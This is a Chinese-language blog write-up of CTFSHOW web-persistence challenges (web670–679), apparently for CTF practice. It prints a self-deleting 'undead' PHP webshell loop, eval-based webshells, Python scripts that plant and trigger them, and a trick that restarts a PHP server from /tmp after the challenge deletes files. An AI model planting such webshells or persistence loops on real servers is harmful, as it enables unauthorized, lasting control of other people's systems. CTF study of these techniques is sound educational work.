当前位置:网站首页>CTFSHOW权限维持篇
CTFSHOW权限维持篇
2022-06-30 22:36:00 【yu22x】
web670-web676
题目在进行check后,会删掉网站根目录下的所有文件。
方法一
预测是使用的如下命令
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf *其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。
方法二
使用反弹shell
不过题目是不出网的,所以这种方法暂时无法考虑。
方法三
可以使用不死马将木马写入内存。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
一键利用脚本
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
和前面有点不同,没有写入权限(除了/tmp目录)
猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务php -S 0.0.0.0:80,哪个目录下运行该命令,哪个目录就被当作根目录。
有点类似于python开启web服务python -m SimpleHTTPServer 80
大致流程如下:
1、/tmp目录可写,在该目录下生成木马文件cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、开启web服务cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check
4、利用木马
但在实际使用中会发现,手动开启的web服务check后也会被停掉。
所以需要保证check后再开启web服务,也就是加个延时。
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- Flip the linked list ii[three ways to flip the linked list +dummyhead/ head insertion / tail insertion]
- How to ensure the security of our core drawings by drawing encryption
- Deployment of microservices based on kubernetes platform
- msf之ms17-010永恒之蓝漏洞
- What are the contents and processes of software validation testing? How much does it cost to confirm the test report?
- Go language learning notes - Gorm usage - database configuration, table addition | web framework gin (VII)
- 基于kubernetes平台微服务的部署
- D compile time count
- KVM IO performance test data
- Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌
猜你喜欢

Braces on the left of latex braces in latex multiline formula

与AI结对编程式是什么体验 Copilot vs AlphaCode, Codex, GPT-3

ESP8266 成为客户端和服务器

10 airbags are equipped as standard, and Chery arizer 8 has no dead corner for safety protection

How to design test cases

The Sandbox 正在 Polygon 网络上进行部署

In depth analysis of Apache bookkeeper series: Part 4 - back pressure

Online education program user login and registration

Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌

Label Contrastive Coding based Graph Neural Network for Graph Classification
随机推荐
How to realize the center progress bar in wechat applet
Smart streetlights | cloud computing lights up the "spark" of smart cities
Architecture of IM integrated messaging system sharing 100000 TPS
The superficial understanding of the industrial Internet finally brought the development of the industrial Internet into the strange circle of the consumer Internet
Cas classique multithreadé
Based on the open source stream batch integrated data synchronization engine Chunjun data restore DDL parsing module actual combat sharing
[golang] golang implements the string interception function substr
严格次小生成树
Technical principle of decentralized exchange system development - digital currency decentralized exchange system development (illustrative case)
What does the &?
latex字母头顶两个点
腾讯3年,功能测试进阶自动化测试,送给在手工测试中迷茫的你
Esp8266 becomes client and server
Neo4j load CSV configuration and use
"Team training competition" Shandong multi university training 3
Doker的容器数据卷
Redis的事务和锁机制
Go language learning notes - Gorm usage - database configuration, table addition | web framework gin (VII)
HDFS集中式缓存管理(Centralized Cache Management)
实现多方数据安全共享,解决普惠金融信息不对称难题